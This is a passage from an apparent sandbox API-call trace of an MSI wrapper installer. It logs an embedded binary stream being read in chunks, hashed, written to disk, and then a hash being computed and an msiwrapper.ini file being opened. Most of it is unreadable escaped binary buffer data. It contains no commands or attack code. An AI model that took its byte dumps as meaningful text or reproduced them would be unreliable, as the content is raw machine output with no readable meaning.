lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.590] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="dp¿ÊÉyù\x88¿\x1f\x8cJ\x04\x94\x06~Qä#·\x7fÒ+³ó\x9e\x98ÐþóD\x8b®V\x17@\x089Î:.º\x98±ì_¬ªÈú78TÉÒ\x88ÕÀ\x19\nw\x04ù\x16Ù7kHZSh7=/&\x1f\x8e\x0bjw¤1\x12{Ìþý\x02\x97¬µl4cܼ\x83ÒA0Ä£\x98\x1aø¹\x174Z\x83¼r\x13\x06ÅOU\x11°{£r@{3\x0c¸ô\x91Ô¯ kL\x96JDÂ\x1co\x09\\¢x\x08ýOü¯\x0cî4SÃ\x14\x95\x9b\x01u\x88\\k\x7f%n¶»nws<éþÉKÃ\x98\x9az;$ö \x96£}¬\x02¨QtÔ®®~[Q¸$sf¤l\x946vÔZ\x01;R\x08\x93B<´/Ôæ\x17…1\x1eÀ\x18Â&3\x1b\x02'", pcbDataBuf=0x21df03c) returned 0x0 [0147.591] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.591] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.591] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Ër0£\x81Ý+\x154\x08¼$\x99SËÞ\x02\x98V ¸\x82O\x96îr\x1dG\x1d\x9a6\x92»ÞP¼\"º7\x92æ±\x97>ý\x94Ô&\x1c\x93´è,)òÊ¥\\?9LBª\x95ÆõäH\x93÷A\r\x03S+\x18þ»(", pcbDataBuf=0x21df03c) returned 0x0 [0147.593] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.593] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.593] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="̺\x92\x11\x9d\x8bfÈû/Ün!m­\x8d\x05_¶¸VÞ\x01q\x18W¨8²\x90@ze\x9c\x04\x11íû¢7I¸½4¶ª\x11+º\nÛ\x02u¸g¹\x8e\x8eÙi#ȦC¨\x14\x09:Þ\x1ay4Ì÷¡V\x89¨ö¹h?\x99©n¬h$+ÝAæñp®\x03TÛð4\x80È=º3έO\x03\x8dÉE¶\x81¨\x91\x9fxdª\x03ú\r<\x8cýø\x08ø\x1fä·`½\x11tu\x9aéß ¦\x09\x8b.`3ÆÃV0ühz'þ\x83\x09Æ\x8bc{\x9c\x17ô>kúyÉ.+Ø\x175\x8e\x10\x9e5ñè\x04ö\x1cO\x1b)\x98…\x02¯\x0c#\x05¦åµx@R\x7f\x9dåC\x7f@ó&ÞÝw\x8aü;qV\x05*ELùº\x83æÁÞ°\\ïÇ\x1b\x89\x02v+ë«1á¤\x8fQw1~\x91\x88ز,ªPA\x99Þñ\x13\x99Ø\x02sPïÞ©(3a+qèÒ\x95yê|\x08¥2D\x04;ý·nq,\x7fÅ\n1¾cԅ©\x88ÕQ\x10¢îs(\x9f\x96h\x10!8e[ñ\x9deÃ÷Ô±EKó·üñÜÅ\x13U¯´®|Ýyú ¨\x97\x8eòr?¬C(Àô¤\x16È\\\x0cùçü\x1aÝJ\x13päú\x8a³M7Ä\x02\x88\x9a{»\x84\x99Ø\x0e\x82Ýxï1\x7fUªCß\x9fZ\x9e9b\x81s\x89\x075­\x12#$\x1b\rkÅ\nJéÆöØpùF\x81rÝÄé§xèÁu\x86Ǧ7Yk¾\x93ÍYÒ·ý\x8dè\x8c¤ë\r\x04´\x18®ùë\x15üm|ñ\x16äz-\x16#lJ¸èEÂ\rq[A\x16Ë_c!¦y­¥\x94立sûy§Uí¤8\x15\x02}\x89h\x09\x84#dJV\x8a°þ\x80HÓ@í¿\x86ý\x18sP)\x82 \x03£¨Âµ×\x156¡\x10pÀç&\x81g:\x1eÒvÊ_\x1b\x08èV\x0cøCw\x02\x80ûV­\x13\x87Ì8\x0f\"\x82ßé.BÁ©c1dNWåúD°\x15lå\x7f\x0cÖÇ:«\x95¥Óc\x1aAąí\x89û5OгO÷\x91¦¶8\x8aL0ó<\x18\x9c\x8d5¹Ó2»Ë6(\x9bFª¾\x97\x176T\x97\x11­Uª;\x18®X]Ï8Û\x09A\x9c2\x1bûÀÎÚÖ\x11AóèôRv\x19òBéØ\x12û\x01NEó\x88-Ò¤\x91ËðT\x93b![¨y®p=¬Èf\x18:\x1f\x1d\x81\x906àÊiA\x91qì\x14$ZlQ\x9fjù\x96ï\x8f{×{\x07í±\x0f2\x1eu)¦á\x9df`3]«\x83Ù=bÀíJ\x12\x19îÚÌxñP\x88a¦\x1eEÔ\x13\x84`ÿê5)@pô\x1d\x02Üm t\x03", pcbDataBuf=0x21df03c) returned 0x0 [0147.594] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.594] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.594] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="²²<>çw\"ãU\x09ðõ\x9eOKeceBI«¿Ø\x19y9áò§eS,\x98êH­\x97y8ý(N\x9d\x1a¡Ó»X_\x1aíK­¶µl\x102SBOV\x92\x96\n\x16\x9a\x91ìýIqÑÓÆ¿Ïo\x15¤W¯\x88Ù\x91\x9eÍR\x0fÖ÷62ÆâÌ\x8aeßÎ\x95N{·#\x9e\x1câwQsªp¤Ö\x0b÷\x02Ç*\x95©1t}Ê>m\x81\x19\x99\x02VF\x01³ô\x89ñi°L¤yöÒ/Îp \x9eë\x9dYoѨ\x8fJ\x91ÚQ\x0c\x0bò", pcbDataBuf=0x21df03c) returned 0x0 [0147.595] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.595] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.596] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x02\x09uAx\x1eöâý\x01ªN\x95\x03\x92TüyR\x887x)8´[]\x80\x03õ¾é\x1bR\x80w\x05ð'\x09ýiümà\x92¼=\x09µV#¤\n`è\x83î7\x88ÿÍG@¿¥\x19\x95²Q}\x15\x8d|«:µ\x9aÒ\x09çk6ëG*w!Z.r\x9d\x82A´OúA\x9ew\x88\x94\x10÷Ïï!Í\x132Nnʦ\x0f\x06\x05\x9bw¹N~Æx\x14í\x94\x9dã¦yçý\x05Þ{sý\x8fwç*¾\x8eNÆÙZÃ\x84ôi<ä1¾5¥\x19mÙ-\x81\x93\x05\x91zD J\x02Þà\\ëEBUäaS\x9eªL¯<\x19ðG@+vß:~4RùùÒðé¦\x10{\x1cÜ\x88\x03(ç\x87¾\x9c\x19B\"h\x1a/Ô0ðÝ¿\x8eÒ½\x10¼yXæ¦ia:E\x8d®ö\x93pÔEÇYt'\x89…\x02_øç\x1bp\x19=S\x81ÒyÙ2¦\x81\x86Ý\x04Õ\\-=¨Êú!\x9fÒ§\x11f\x86ò\x8aF4!ÿ±ÁÕ=@\x06#\x14UèØÎf\x10b¼ÁQ\x0eÙ­ìÖ\x89\x05w\x0f´E\x07Ã}§g\x08\x17Cu~ä9úO·[s\n8%9»Ù\x84\x9c\x83|Niä-m\x9e\x7f,îqhå6\x96ú´d\x17t\x8dîf\x01\x11o$\x8fy#îkj\x09ZÉS¡*ud\nø½\x9duVÌý5\x86\x9c*@\x12\x0cúóÂgxP\x87\x81}¡\x96|\x82\x0e4J\x9a\x9c\x9d«$\x8f«ý\x8a\x1aI!ò\x107\\\x14`åD\x84\x17\x83a\x0e¡\x1d", pcbDataBuf=0x21df03c) returned 0x0 [0147.597] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.597] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.597] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="GÉ\x9c-çí-\x0f8ÖÝif\\Rë ¼\x7fl¾\x08º\x144h\x9b±dS\nÍH\x1b>ø~¬xüÙ\x06Îé\x9cWJ5m½%¾¢…jxöær\x19\x08!µ!D¿1\x1a\r\x91!kÓ$óN\x8b1\x8aÎ\x0b,E\x80\x0f\\\x10|\x9dÏv-ÑT\x96$å\x98&&?\x8d¿h\x90\x9dmû\x1b\x98m\x10ü¾R,b\x0c-3\x8aQ<\x04³ÊvÐ-,ê\x03Áx¶«F¢\x19-ð6UuÛz*\x95¸Ì¼\x86Þ\x7fÙ-°uîèâ\x0e)w÷4ÛªS\x14|\x90\x13ûi\x01ó\x803Â\x81 ×®Ã\x95«t\x02%\x1e\x02gà\x88Yf­¨\x02\"g¥#}­WãM\x81ST'ZÒ-£^\x1c6gõÑú·¥4SB\x07Q7\x08ã#B]0\x15\x02ÛàÃSrÑ\x84s\x82ä¹9¹$Ò\x1eö)\x8d\x08éÆq±¹\x9cRСR5…°¨\x01¦á\nkÂTu¶lRíÕ\x07êÍF|\x98*F\x04+/6Jêÿ®LÑ\x1bÐNç995H\x05èÞ\x06\x84o\x04\"ÂÇë±\x8f\x16â\x1b\rP\x07¸\x19>M\x83Wî»QßÚ²»\x8bû¦ô&\x13=g1\x97ôx:\x90/Ö\x0fúI\x16\x06X\x9f¬³°ËZÓW\x1aÃjñÃ\x9c?ݼ\x895\x98î\x91\x8c\x025\x8f\x01±Õ", pcbDataBuf=0x21df03c) returned 0x0 [0147.598] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.598] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.598] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="¸0ï\x90$7(p½Cø±õ5bÄw0çÞìøÁ5ìUñÿÚήô/4\x13Ñ'¾»ÌÜ,\x09Ù\x1dü«G\x03_5ä<'ù\x9a?ùG÷KBõ^\x9b¡°ù", pcbDataBuf=0x21df03c) returned 0x0 [0147.599] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.599] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.599] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="çR§\x18N\x84u¾W\x1fôª\x81\x98\x1doòçäkÊû\x1eä0ôB}Ä\x84_Wm­ñ\x87Ç\x7fz)\x9f\x84\x06\x8eQ\x0eüF.\x06 \x1b\x0c\x19\x16ÂÒ«®\x97\x12\x0fs®X\r\x0b°\x1d\x9dÙ\x03\x9dîlËân\x01ÚO#DIH\x9cl*\x94sø\"W_ôÑ?-K\x93xºT\x86åC\x81j,\x99¶V}²ô\x1cHãaGé\x08\x94Ã<,ßÌ\x91®Ý¤]b\x16\x07#\x99ÇÖa²B=Ö \n\x04…Üx¬Ü\"3!…ù7åâ…\x1cY\x89s\x01¼\x99e\x1a\x98\x82\x10ý­Ø÷9\x8c.\x12°\x0f\x12\x11âùþ».\x1cä¯Ì\x13\x19q\x02ºr\nÈýë6¾\x05æêJ3\x1e¡\x08­0aaËx\x86LÏõí\x99`d(C\"T;\x89¥\x1d=Z¡þ\x95,¿\x1a¢\x8d¬\x0f:É\x97\x9c\x95nù\x1b\x96kù\x7f\x0c¿\x9c5 ®ò\x89y\x1a\x8c\x91wGó\x95\x9a¥I\x02\x81\x8e\x8fo\x01\x99ëì.vóý¿­_^þgi7\\µ\x90\x82\x83:;w¹\x81vÿi¼XÕ2ñ¶\x1dû¤\x80 öÆÃ\x12S¡I²\x83VæÂQ6SC!vlU¼\x1f-¸ý\x1fp\rº¾\x12ëïß\x9c\"ö$ ñßù\x9e¤ÿ\x81j\x1ai\x1dÑY·Ó\x08>9Îl¸ÕQä\x84ZJ\x9c/\x17êÜHf\x14bÕ~\x86¡M\x17bSXÌqQYûUYoG\x10\x04\x8fÚÓÄ\x80p\x1b3\x9b\x1eÇ°{G\x8fu\x92ãGcÆ\x95àZ+p\x1fb\x94zòb¹Óϼ¶\x1a\x9eO)²±ïÅò\x10ÁÛzQ\x930ÌöíY\x8d\x89\x8d`Èé(\x15<ªÄø\"z7\nÌ6'\x8b*'á^Ç\x1c\x10@\x9eÈñ5^\x07Ä R´\x94\x7f\x95$0-%\x1b7b¸É¦Î\x18nÍô\x93zyWçÿ\x9fµ\x8c\x87yñ±\x05\x14\x95\x9c\x04ùÎÅç?\x99\x8c\x11¾£½\x05\x13ìx{5ÛêrÕ>lM\x06O\x97ÿ|\x89Ç$Bð-\x12d\x10…°÷usà±i¶¸ª\x02nù òO]<\x80\x04ï\x9eu\x84dG\x05 »À`Ôj\x10ñ¬Âû¦\x07|\x81\x8e\x1e\x84à\x08\x8d÷x\x9a¦\x14õkú…#é6%é\x1co\x9a/U\x80¶\x0b¥põ\x17\x0ex¤íN¿\x0bÚ´NÀ\",$ø¬ë=6É\x9aì¡Á½\x1f\x0f#HE<3F¿Þ\x9f¹\x08Þ©H4â\x10\x84¯\x05±\x14(ÃÈÀn\"r\x0c\x07O§'éEßÊ\x8e³Fäµ\x0f¸å\x83Î\x8dBÛ\x1aþJ$\x89\x8fÁ×\x122ûéØñ%\x895\x89ù\x8fç±\x08¶òA\x80i¯D\x03þ&\x81NÊ\x95¤4PL\x99`Fj\x09Ç;\x9a\x08NâD\x86åI\x89jz Á®ZÝÓ\x01\x833\x8d…*Ö)˱ýÛá83\x9e[°ìèêHiaâËÚ«H\x03Õ!ÞSp\x02Á#{T¼L\x84RÂöÁoy©ÚõƲÍ.\x02\x9dr¬Ïöy¸E{%Õ\x87\x81cÂÐÜ´ý\x16/·jrð{Ë°×gñ¥´àÍ¢ëNâþE¸óá. ¸~,\x82z¢úµ}¡±Y½\x16-\x0bº\x1fMeD\x14jêd¦R\x84ïB[¸\x06\x1dPÍ÷N8\x16ïoS¶¢ì9Ú û\x02ß\x994¾ò\x94}\"ð®øMVîVý\x97É\x86­sÉÌ{\rUB3\x10(²¸óáÅ7\x8b\x92ê5)@pô\x1d\x02Üm t\x03", pcbDataBuf=0x21df03c) returned 0x0 [0147.601] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.601] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.601] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="X°\x0f\x1c:\x82°¡\x0b\x9e.5¨èiüd[X,ñ¸\x82\x08$\x18\x83uIÜ3´\x10\x0c³º{Iñ×=-;éç\x07+£ë í\x19\x99ÉÛý°\x0fÆû\x13Çø\x095XÒë`Þ¯ÎÎ\x94üm\x90ÿ¹\n\x18'kã+EÂ\x05\x97\x8aP]\x97^\x07\\±\x1dÛG\x06öç²2\x09$\rÆ°\x8d\x9e+le\x94\\J\x9c¥r®Oéñ]\x8fqÛÎ\x0b\x8b£&(ìt_Xàkù­»\x0b¨X/\x9d¹ÚÄ$p\x97&¤b\x1b~\x897äÖ\x81ú&¬Ê\x19\x02vyw´(ÀrnÖÄuv\\\x94?hþÐ@\x1e(+\x80)Zê!0\x97*K\x09ÐÎ\x87æ_DcÍ~]î$ä!¯\x956åº\x07*iÅ\r%ñkyÁ\x86\x98\x08`¶^\x0f\x834\x1bÏ\x96…\x1df!׺?*l\x8c)ªvèy«L\x89Z\x03p1r×mMg\x82\x90)t\x07+\x02\x1c\x98ß\x11úàw俵ÖÀ9º%\x1d\x96&è:Cqì\x02\x19È\x19&¶\x1cÉú³=\x99ÄÝ0Ö}ÐPâj:\x08Sà[\x8d!\x80Kö\\ËMí @\x9a\x81düü·\x13üË­B Ýï`3·3Ña\x1aÑ\x02…`ѵͩn1©FÂDj[7ÞÄ]\x022â\x16I~í\x8fÈV\x9fÃøLÁ)é²\x95~\x8b¯ G!(o5,ú\x12¨õ\x951ïA\x0eg³¡j5]\x0eÍ1\x1dëó >W\x19Ë8\x8ee½Ã\x824n\x902\x88­\x82'\x95\x1fÅB\x19ÂFÃ\x0e/øl\x98ê´p\x07\x8cêì\x17oæ\x1dK8/Nað¢§l*\x03`g©#B|gË\x8aR°\x1dX\x06û\x99¥¤\x9a|Ô¼r`Þ¾Ñüvó+\x87Rt\x86\x9d\x81ms¬eó\x15Z\x92¬\x91X\x1b\x18Ý\x88À[+m\x88ó_=ØCPqÛ\x15ӅÎ\x9cY¤\x17ñÃoØä¡ñÁ/3©ã\x92JfÕÍÇc¦_q(c½\x81W\x91y¸\x0c×*,¢B/³oÁǺ\x11f§)v\x18,\x93Z/Ä\x82\x04÷åKQ\x87:\x92ÀNFQ¡OÙ \x99\r·\x9fj\x14ª\x0cbÓYù8¢<úl\x80ÜÎÒ>Ò\x86\x92)Nz\x9c­\x0eÒïK\x10\x84¼GØMw\x0bè·Ôò\x9a_èú\x8bCåÐåbÒó6\nì\x99¦®\x16\x96âé\x9fþ5~´\x9aè\x81\\£'úN\x18&\x89ðQýÄ\r'ZÍ¿Q \x8c°ç/îëPξõ\x1fU\x89Á\x0cë;\x0e-\x04.^h|\x08\x88µ­Së\x7f\x02^(Íõx\x95q«Z\x90ü³?\x80Jû\x01ú]\x99¡èÐüØc´½…Ö]Ý\x07ýÓ2´…<\x80i¹0ÑÐxZ2\\É; NVæo\x1aÍ\x02\n\x81¤ûö\x8fÖ\\8'}Gܱ\x0b\x84GþÃ3ÞÜq±xB9[½\x9dq3¤\x86=½Î\x8f\x8cã\x97WqW·%d\r\x84\x15MI\x0b©\x82έ0\x86¶\x0cZ@Ö\x17Ø`Fe\x09\x82Å|\x9bÝß\x7fÀJyóùmB\x13\x1e\råÿÇÏËj<ë\x8f¥À\x01ç©ý }&ú\x87PÒï", pcbDataBuf=0x21df03c) returned 0x0 [0147.603] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.604] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.604] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ì)îD)U", pcbDataBuf=0x21df03c) returned 0x0 [0147.605] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.605] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.605] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="|î3Nf¡6\x8dEÈzr\x11Ã\x95\x8d\x15É\x01Rf<\x90ÓÁ\x94\x16\x11\x97Õ\x82\x05.\x16\x92\x8aJƵZ\x93:\x90+ù=±à\x14·¶@XöH\x1bBðþâ\x02°ù\n>\x9aûÏ \x16Ë\x81Ùﳨ\x15\x02Á\x9aîïý-\x7f·û\x9dK®\x119\x86\x12WÌ{ßz\x17ùÔ\x84¨>xh\x93\x04 ¢ñ¡\x8f\x1dSÅ\x92¹Ù\x8cv\x89\x10\x1f.s\x1d¨@{\x136j\x8aø5\x08o54»ÃÚ&\x17ð\x92½æbÈrÛ³~¹|«ð\x8c\x11jÿ@J\x09Øó~êÙc\x89WirjÛ\x828\x04ÈÁÀO\x87ÁÌ45(Îã.cÿ\x90uÍ \x8aÏÚíþ1¢q\"&9\x03IhszÎ}à¦ØyÖK\x19\x9dA¸#Ë°§~:\x91ÄËgÜ\x9aá ~%ÀÚ+\x8ci\x80*\x9fó/U¨…ì\x80\x1dϳØ\x0f\x87IçiÏfNkt\x82íx\x07\x14\x14\x03ÿÄ8b\x8f\\\x91';\x11Êǽlã\x12¸lWÒ \x9dþ+½\x9c¦ìvÏu\x83´.Ï[È×Ïy\x02)l\x1b\x91OÖ\x1eµ£ðpQ 2ã\x08úò'ÙI§\x04ý\x09µÃJÌwZ¯6\x82Xñó{mV0\x1e\x04sä$tDgåEüÄÖpígG\x95ëNç\"\x08\x99©¼3Ĭ±\x8fÒeÁ\x01Q§\ru\x19[0À\x965C\x08\x1eØYÜæ(Ôß@Øë\x9cu\x8aź¼\x17Ð\x8fa\x12棹Çøx\x89¾.\x05Ѷ\x9e@3Ù\x1b\x10Íý\x9f¬\x9c\x17)ö\x1dØÛ~¡Ho\x01¶O7¡¦è}Â\x83o\x12^\x19ȦB\x0fR\x8e\x8eoü\x9bülíæ\x82\x16l\x04\x03\x1dQJ,z­|Ml¨¦\x17yNS\x8f³ÍZ…jÌD\x1aöU}Ò9`<çþp¤…\x96\x81?f>XjCîr\x0bÞ×\x17\x8aë\\\x93,@\x9ci*\x990\x90\x1e\"\x98µ", pcbDataBuf=0x21df03c) returned 0x0 [0147.606] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.606] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0148.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0148.903] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0148.903] MsiRecordSetStringW (hRecord=0x22, iField=0x0, szValue="-- CUSTOM ACTION -- Export finished") returned 0x0 [0148.903] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x22) returned 0 [0148.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0148.908] MsiCloseHandle (hAny=0x22) returned 0x0 [0148.910] MsiCloseHandle (hAny=0x1f) returned 0x0 [0148.912] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0148.912] MsiCloseHandle (hAny=0x19) returned 0x0 [0148.914] MsiCloseHandle (hAny=0x1c) returned 0x0 [0148.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f98b0 | out: hHeap=0x5c0000) returned 1 [0148.920] CryptGetHashParam (in: hHash=0x5f66b8, dwParam=0x4, pbData=0x21df44c, pdwDataLen=0x21df42c, dwFlags=0x0 | out: pbData=0x21df44c, pdwDataLen=0x21df42c) returned 1 [0148.920] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0148.920] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0148.920] CryptGetHashParam (in: hHash=0x5f66b8, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df44c, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df44c) returned 1 [0148.920] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0148.920] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0148.920] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0148.920] GetLastError () returned 0x0 [0148.921] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0148.921] GetLastError () returned 0x0 [0148.921] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0148.921] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0148.921] GetLastError () returned 0x0 [0148.921] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0148.921] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0148.922] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0148.922] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0148.922] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f97f8 [0148.922] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9808, cchWideChar=64 | out: lpWideCharStr="a929c064c064a1b5013b8fbce01feb7ae08e6bd9b05106dcda8320f9db0fb13dam'") returned 0 [0148.922] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0148.923] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0148.923] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0148.923] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0148.923] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0148.924] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0148.924] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0148.924] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0148.927] GetFileSize (in: hFile=0x180, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x178 [0148.927] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x17a) returned 0x342ac8 [0148.927] ReadFile (in: hFile=0x180, lpBuffer=0x342ac8, nNumberOfBytesToRead=0x178, lpNumberOfBytesRead=0x21df458, lpOverlapped=0x0 | out: lpBuffer=0x342ac8*, lpNumberOfBytesRead=0x21df458*=0x178, lpOverlapped=0x0) returned 1 [0148.928] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x342ac8 | out: hHeap=0x340000) returned 1 [0148.928] CloseHandle (hObject=0x180) returned 1 [0148.929] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d70 [0148.929] RtlAllocateHeap (HeapHandle=0x5c0000, 